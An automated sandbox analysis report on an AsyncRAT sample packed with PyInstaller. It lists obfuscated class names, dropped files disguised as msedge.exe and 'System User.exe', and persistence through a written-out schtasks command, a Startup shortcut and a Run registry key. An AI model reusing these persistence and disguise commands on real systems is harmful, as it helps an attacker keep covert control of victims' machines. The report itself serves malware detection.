Source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, kYTFTR8V1K5OKHLJMdR9YLHeADSXXhtlG4Iwp3C4PI51lKEwaKDsnQlE3p7TC5FakkF3rYArzaBF5kPl.cs	High entropy of concatenated method names: 'BVqUoib0qQQlOkJEpWqM9D6mhr8SUDEpFDtzydSqh2w5Oo3DHVMV9mx7q1h0P8J55Ykz6w58o4H7LEC7', 'c31mxOeqgNLubMT2h5AST0IHdPAgEFgZAXyQ8RyaqvvyD0m6iwyKnYPQgsEHgKq4sclbIoCq9ekKmJx5', 'PzZFwBQ0Wo3sWYN9lbVpUjs00MTFAMgL3C6c1M62OH6qp0HyaCykdkRtcktS1lpPGIadK151yf9ll5kP', 'iZ1VpmKAxUZ5MEy03TNnL0O13IynehkTVOmUnOQihopeuYCgPofGAcz3cEjJz62CyozF9AxaBx6FYwVJ', 'k3ndOXrYkQH9liWl9ILv5rTWikaKMUactCNvyGmIoxN6HqIFj24TozibWBtvio1FK5CL9GyeJ8COXdao', 'h4Jxq053KZd14zLY6MGQRcCVHWhC1oUNZ1Dwkh06DyfCoK8BZ41STUKuTNZaIiyOtRLDSnWeyxeuHyx5', 'yE0qpSUDJwJzUcoWRb7RduQfTW8VbkCDON7wafJczZbOxyFxEsahclUEguvWpBZvySnlLbAFbOAaG43o', '_3eZb4qgo9XlZFyEEP6kniOLHeIGoVAwPpp0QNW1Oz6Rdmg32BWCa24cRVDPSwcscPU0AQeTeSoGdorXY', 'VzfEhaqpx7WuM6mKRysSvH9CnwJfaQgLrwFjSXr7Dd8MvmhLq5ucsvUZNIRSyYcbUor0nwBAb5adVWJA', 'Hcxmwgcfvb0Bkd2qCZPrYJ9y8zsB3wzwWROBql1Bs7u2bWnTbpVOqKraOWNdG3emjOJzdqAZG19OKmsU'
Source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, qbP50VaV6GXcwq1MYN7LflNfjGaY1EnTdTMXqhGBe7CwlDFU5DK42dCawqRAoJLP4.cs	High entropy of concatenated method names: 'MXhGTmv46wi5UhuMKLIxDlmzGyV7SGmjknEIYL3cd38rdGgJN0f51QgP9wyn2zklK', 'PsuVaX6vi2YxK2FN82eAyoFLnBPEC3myeciUVh0g4hxrd5hBvKdW4tmkIJfc2rPF5', 'axoHHeKaC9uJqM3UUsG2vc0waW0Pkc4HfWmp7YncVCNKZlNWZoD6sZmdUDCkQ7Le4', 'EqQrwwEuNxMagdr276yhN8uCG2fZ2Im63WLnYY3Xjk8ALtrmRJFaK7urDnQ7U3oZx', 'WhPVdwGxGiASUSwCNVscZFrPhIPtxFVwgmuL3zSkXK90LEZpKgEUSQNukdpXV06tW', 'rrent0ANdMIraUHV8crovUBgoM9R8aVTgf2hwKfWPyItgZlhS0Ah5nmfDHHRbX9nA', 'FtaDGUbc726CncyTgQdVlNgqZTQNlinN5JIKCGsk1QXh1L61c1lGE9lTJBwcMU34z', 'qyQ13OJEfnw6cNJa4AWK3KJFjrbCGz1q7TiPiSrh7sOKMUkQhjQsNCwouKtHvdFzS', '_6c2pg3Gt4EzzUEfWShMSZcLD90vIQcf1K4tDIIFlrYiowtiJaBUYTEn0POAeyxBxL', 'I45LXYxaZ72Yz8T3SQepzItv8kDPDO4byqIBOub6l5OhFWxq5sX0MrBiZzttKiHfT'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, 7l8EMvCZIQ2S6SCCgLjAUPV321xi9u2lG1TN5rcaiwq3jJZsmcdPp6QQZ4JfjN1Ag3iJhVbD2EMEm6iDuAiqQJORTJjKZlvtxR.cs	High entropy of concatenated method names: 'yLkA7Q6Kyqbf7JvABMuLJlGQe8lXA3ZPaGTzSUgq5myXaKtbYNc1F1R2xNV3eEzAlxyWWPMje4ZJsYtZpjLrVxKSGiuKErxdsn', 'ay9gvxX2nAR4xs0fZMBlmfecS4kM3MYsQmE9WDNd22SUfcckNmdsM5odOJqICEhy0b09DJsHYNjHvYltdHpSlt54GW6CuF8WAB', '_5YcIPTAaHluO4yNnj1vfBwQeeNmkoH8nMKzc2miNJESRx3WzOFaUm6KbQZxYDPbWr6QC3mZ817QCFOLaIzodRe6n9dZY62II0e', 'iM7MRft4gonQkd1M5Ag3RkMRz', 'HtI7DCm94hvxdFS3tcCRfjP0B', '_1eROfC4OTQkqiqLLg1UaTC7I3', '_86uYvfHoynkvtwP3LC7jNqL5l', '_6H35GECqxSX36OMFsHk9b0JI3', 'ivyvL9KeLSbyFYPNQl8bu5OCL', 'f6NSBWBAVbEsBxXbShNY8sAKQ'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, 0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.cs	High entropy of concatenated method names: 'yh97aflW3Y6Oc6EMOjb8igXrFuDjxnyJ0g4ZgemCPK25C6B0QkVCKz6gXmErE8EFiJzZ0N8KwuSddeiSIei', 'rmFFrLm9tg4sqGbwwV6wTFNfANZqh2jmSbI2T7KIFdXYBS7NZ76YUuWieUDCGxfu2uFIFSqI7qJbnil5WPx', 'JeYM41efdgM3xEeo83K8abrLd3xT9Zka5PUghZeANQraQFGzVzGwZlLjFHekTIjUpXPGUzOHAaa2hss6Ro7', 'jl27VKGuPbY6Vv50dLRBg9PHurocMlRz5UXO3avvvO7g7hGGaRW2xiPqgqgoCagbW6eFOJmnmTsQ9BFvKki'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, Aa9DO6wWMfkvbFA2SI9y58lSPZNgXOk0nlHGYdR5geCe6PSZ.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'rCym4pGH0HfiWYMDkatZ4jDgtzxGrNwDeTdN4AGeR6ampuEWA1uJoNCe2HQqeMQKzjbNL0umb0ads4lHF7iR7rf0fDHQ6fYZv0', 'JnGcaPLk9cEe8ZtNdeKwV2NmbQK9NjtMQBcABUh7rA69kc63UMML6mEBixCWcCQlpNcgcRT7vTtcN98dMooYPV7JU7l3n98uBC', 'za8iXzabtj3LOTES9ZUroK4B7VbEXqHLFSddlabg9rmqfzeJxAwwU5fprAWHSYoqtTdLDLf5wWhhI3vRLVOpCx10SD7ZtcrfHV', 'AxG7nVOUs64ifgghu403q6JlFTkHiMAxg7JlRR7C6BUFS8ABLZGfAPgje1VNGD0I4tt1OhX6t7jmBvnVXZc'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, 3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.cs	High entropy of concatenated method names: 'QxFWgAZfropbgmTO2hlzNsLzVeiewHGUSf6EW3Ffo7mQohnn3sFEtKyn58ywLDXZp', 'E7gTS6aZOBUjrnjWkRovirs5GQMP6vDANNiXNCsHM9XKpdpCSi9ySH4h7LWHV17ED', '_5GEPL5zXkhE1GjOHoZ9z63pfIV85JvFLlvj9gixiODSRnurpPHLDzOHVFbEEno2RavWF3fIZEn3SxJ98u2njqTFUddgst4LRcj', 'ltLJ4u6QrOFoSub4MAJVSYuaDhMwbXPSGDBGMy2ZbRxsYrLl16uPhdnTP7agf6Hm1vk8YnSCaVCsMp7KpjatND9rWTQO8huXyA', '_11e6MCzhNjt9fkdjoEPblcMuf6aFCMPVhhBUVA7Yqvey60iT4Z9rQiGfXtUSY21UXDoLmcm6FQzqjjhT443rzH1lHfGBRaJtHO', 'UZ4u6YhLiNmOQFhZub8hA81xnXuvc2Ctomxn0gpupTthP7ZmB0HUwan956IvJfW7zg9wrIOHlikLJ3FTJAQFthekemjXyhQSnf', 'DwGMdcgm3qHTRgmWo7sPJ5n0mnmEW2Fbc5oKL6LmvH2Z8Na3KvToLZPvhJoAOw3kTLi0O0Ocuxf3rowAAP7q2aqOBC16LpYOTX', 'zgdeUfZxN9ppsoOeFNMwd0uvrXzumzUexYDqje8VufRmYDVO4UqBdeQkKXZkwRFlpgusfVbxqelmm0C6pEM5PlxKogt9n60CKN', 'vmcqjfch5uiAiPz2xYdQXmk3uqbYmRKT6dK6XpFJuqu89T7ov0Xj6xsWrH2HieBkeuyBpMScrGzeRWxPDV4NyMWMaDCOXmtZWS', 'psQx6sOJNixtwH4cosuDJVM8w3hj7T7nEmPV7UZ3P0QeICadwisrC4VZPDfXPAwqXopYgZttuwQpzBkWaQ9QBphkKlg1T2YCYC'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, 0z3ZIhpJfhq2njFq0TTjg8sopVsEWVPb24mSwU4g0QL4dxjF7JdE4QOgJ40VPuiaU.cs	High entropy of concatenated method names: 'E7pAEoTZL9Spl2tY5dP9it8wxhZikXrxarMTkvT3bAO1JmNjM4DEjCrAFEf4C84Hc', 'sK1EMIEWy94QUVp8dt4NMb7nE', 'Bq3KY2TNlgepk2nYwWvgaeox4', 'ZATUsFwMG4tcqp3gKEA66w1O0', 'gqFJHjU2OILeYa5BRaqNA1D5k'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, RCU77fvzQI1bW3Vpo5QsIuEOnvacINkd41Sdukon4zQhdO3pwSwv0DKGBQDlkhLcC.cs	High entropy of concatenated method names: '_3S6hTXFysXlTNpxkpMjvWho3Xij3a1thIBgoyfGVtVa8vLSxdMJ4mTU9fHTeTpyaT', 'SH8BPXlVdqfTpfr0dXzAedp0Owyt8vQ5aQMzLkLDknEZIyP3wSWkTb4T9OOH6Rmwt', 'ujmHtkgyBcc340ZUYJd4ZwSHR9s75HBDcR02joVkumogehguuKmJcNwp2ARZ7Y2eU', '_8uLtrjXyCbOf5PZIQ3NOJ4dW6qSMOwuWamF2lDNy5dLn7CpRI4gwrgv5yrFxfx0cG', 'WNpZKzxqLOd7RnJuNXtrbOscx', 'j0O4pInvmClZbk6eGgGhDPkt1', '_27UGHbqGtAnPYozHgin2IxY2o', 'mP1PQHbMcqYgF7rcX92WxSnc7', 'UuSZA9yx6NwCF7bdQBlSE92eY', 'gV9BDwFy83190WOT9KtIpLVbQ'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	High entropy of concatenated method names: 'lV8yfxnNOUZBrm7CCVAOCkMBat7ri85PfdsuSOkvPZ6T1pNFM5pGl9OqquNozdUuZRnBAVVMyRaaAMEB', 'Mgz8VMYXFJgs3CCMy91hlPEh2gWvWXttoNd8pG4xN08KTUwmb3zGeU0ET6YRZMvLwvIqXmPQHoooDm0c', 'pMFZ3PfvjSoGzkxKDTIiEVsgD2oSzxmwy9iQcZIMjWaqwi23XuiTTKhoEu57SkzeNCkbcY2b8FxO5Mvv', 'NH7YFiUOc5O0NSPvuPKD60ETIJxA3xnxfVXgRvMOuDvL2ZGrLviNQ6KOb50AX6b8G4oMPQm6QcuJNFxc', 'XqsUtRgXgobAukbBF3YrZRWuvN7k9mQQ4UTQuwGRKzndvPcxpUcoFtGYOFhERsAzBV0sYIi73FysSCpP', 'ehmlzl9HRbOhC72a5QblVNPKttoeTJGt58GLWCcJwFc9tIA8JMLTR7cC8fo2z59e5Elbdoq3HBIm3JBF', 'cVa88cKP4KxJbWe1wHxvup0fb40DrVPdG6MU4DVPRDtMslX2XHJVQLch5LdVStxVr0K7OWr7ZAvma7g0', '_6n7p7xcfkpxVJHGWtOAgEauvhKq6iFar1EAuBxNmilpE0I6s4OTNZGJI6olsxtYtouxQOyuB1NLvYxsM', 'gdyqhq6UGMGDaSA4E3FKviLXlri68bwhigKwBd09U3mJhDdd8EFiyXjYk7v0Me4p6', 'qBmNnXvTbBv0CeX2VcO6Mx2b2hi1FMYkpC0aLANmj0fjIVVdNBTGzIXF4qZZQC6is'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, stk6so8iK7FJeV1oDN5jkaRBY7Ddrzd4rBzBn9cyxVQm0hI4XGecZHjMpsFUIQ2opBbgNNP4Er2RJQfs.cs	High entropy of concatenated method names: 'qdmDYl4SL5ToIVCygypSkfUIDKPjPBMcg2pWQW1zo5JM2XOuiAwYIwNyAwohiYTUHH7uBG2P6URZDpkm', 'pQuIZJe9VwWfwtXo1n1TM12UVqpO1F6n1SDK5IiQTd5al1uh8JfEfTNYDwRfQPZij33wLq0aUK20cOHm', 'yealjVgbGthaP5FKECWl8KU5CL3QtF9urObvSWHJpwUX0AVS2QILSBuOrVLFBBCV02Wd64qHl5rcj8jj', 'FxMirkENPExtEC31ZL6aSwVo77wVgbeSUnd6fAw4oyPrAkel0j9O2ZgTZqqMSqieMfewjincpK0Vnsyz', 'RvVB9Ejb26XJ1kquvFnq3aQ9DI4Clt6AkQ55Vb1JVjaKGicDYngQj48Lgk5uza6TrlBilvpG9rZbdpZr', 'ojqT7jfklN6efpZt4f9GOK8UlLQQYSyLsWsqLdh7pNleULztIfmvuRjvbiUL5hBghcJHTVixu9AvWaSB', 'LYESWLPlNRB0RjlPBmu0cNDGD3nxTEfomN5rdXs2kjJkJ0rChKYf9a5OY3zH2ws4i2hdhKGIxYwUhAxv', 'sPApCcjEzgyiG1RLXBGyRbJDlQhSTnsCE8FYdrOIqFff4GpLFG35DTBjOoiBOIyRJbopCIzMXppXzf9z', '_4UeQiiQhn5nUGmsfOBWU2l6MQmAdJGc1zZCtsJ3WEBsztv7nnRLNlASY3wLrXt4So1oMMqbwc4Bs5g9l', '_9x2NFSoKL9vLpyXL1ktRXKL7SG847SNgRcdPtdPR8Om2cVboTqKHs6XMueB4gqshuhF7Aia8hNhQel9u'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, kYTFTR8V1K5OKHLJMdR9YLHeADSXXhtlG4Iwp3C4PI51lKEwaKDsnQlE3p7TC5FakkF3rYArzaBF5kPl.cs	High entropy of concatenated method names: 'BVqUoib0qQQlOkJEpWqM9D6mhr8SUDEpFDtzydSqh2w5Oo3DHVMV9mx7q1h0P8J55Ykz6w58o4H7LEC7', 'c31mxOeqgNLubMT2h5AST0IHdPAgEFgZAXyQ8RyaqvvyD0m6iwyKnYPQgsEHgKq4sclbIoCq9ekKmJx5', 'PzZFwBQ0Wo3sWYN9lbVpUjs00MTFAMgL3C6c1M62OH6qp0HyaCykdkRtcktS1lpPGIadK151yf9ll5kP', 'iZ1VpmKAxUZ5MEy03TNnL0O13IynehkTVOmUnOQihopeuYCgPofGAcz3cEjJz62CyozF9AxaBx6FYwVJ', 'k3ndOXrYkQH9liWl9ILv5rTWikaKMUactCNvyGmIoxN6HqIFj24TozibWBtvio1FK5CL9GyeJ8COXdao', 'h4Jxq053KZd14zLY6MGQRcCVHWhC1oUNZ1Dwkh06DyfCoK8BZ41STUKuTNZaIiyOtRLDSnWeyxeuHyx5', 'yE0qpSUDJwJzUcoWRb7RduQfTW8VbkCDON7wafJczZbOxyFxEsahclUEguvWpBZvySnlLbAFbOAaG43o', '_3eZb4qgo9XlZFyEEP6kniOLHeIGoVAwPpp0QNW1Oz6Rdmg32BWCa24cRVDPSwcscPU0AQeTeSoGdorXY', 'VzfEhaqpx7WuM6mKRysSvH9CnwJfaQgLrwFjSXr7Dd8MvmhLq5ucsvUZNIRSyYcbUor0nwBAb5adVWJA', 'Hcxmwgcfvb0Bkd2qCZPrYJ9y8zsB3wzwWROBql1Bs7u2bWnTbpVOqKraOWNdG3emjOJzdqAZG19OKmsU'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, qbP50VaV6GXcwq1MYN7LflNfjGaY1EnTdTMXqhGBe7CwlDFU5DK42dCawqRAoJLP4.cs	High entropy of concatenated method names: 'MXhGTmv46wi5UhuMKLIxDlmzGyV7SGmjknEIYL3cd38rdGgJN0f51QgP9wyn2zklK', 'PsuVaX6vi2YxK2FN82eAyoFLnBPEC3myeciUVh0g4hxrd5hBvKdW4tmkIJfc2rPF5', 'axoHHeKaC9uJqM3UUsG2vc0waW0Pkc4HfWmp7YncVCNKZlNWZoD6sZmdUDCkQ7Le4', 'EqQrwwEuNxMagdr276yhN8uCG2fZ2Im63WLnYY3Xjk8ALtrmRJFaK7urDnQ7U3oZx', 'WhPVdwGxGiASUSwCNVscZFrPhIPtxFVwgmuL3zSkXK90LEZpKgEUSQNukdpXV06tW', 'rrent0ANdMIraUHV8crovUBgoM9R8aVTgf2hwKfWPyItgZlhS0Ah5nmfDHHRbX9nA', 'FtaDGUbc726CncyTgQdVlNgqZTQNlinN5JIKCGsk1QXh1L61c1lGE9lTJBwcMU34z', 'qyQ13OJEfnw6cNJa4AWK3KJFjrbCGz1q7TiPiSrh7sOKMUkQhjQsNCwouKtHvdFzS', '_6c2pg3Gt4EzzUEfWShMSZcLD90vIQcf1K4tDIIFlrYiowtiJaBUYTEn0POAeyxBxL', 'I45LXYxaZ72Yz8T3SQepzItv8kDPDO4byqIBOub6l5OhFWxq5sX0MrBiZzttKiHfT'

Persistence and Installation Behavior

Found pyInstaller with non standard icon

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe

Process created: "C:\Users\user\Desktop\YgJ5inWPQO.exe"

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI4322\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI4322\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	File created: C:\Users\user\AppData\Local\Temp\dddd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI4322\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI4322\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI4322\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI4322\python313.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI4322\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI4322\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	File created: C:\Users\user\AppData\Local\Temp\msedge.exe	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI4322\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	File created: C:\Users\user\AppData\Roaming\System User.exe	Jump to dropped file
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI4322\_bz2.pyd	Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YgJ5inWPQO.exe PID: 5352, type: MEMORYSTR

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\msedge.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\user\AppData\Roaming\System User.exe"

Source: C:\Users\user\AppData\Local\Temp\msedge.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\msedge.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run System User			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run System User			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe

Code function: 0_2_00007FF7FF585820 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

0_2_00007FF7FF585820

Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
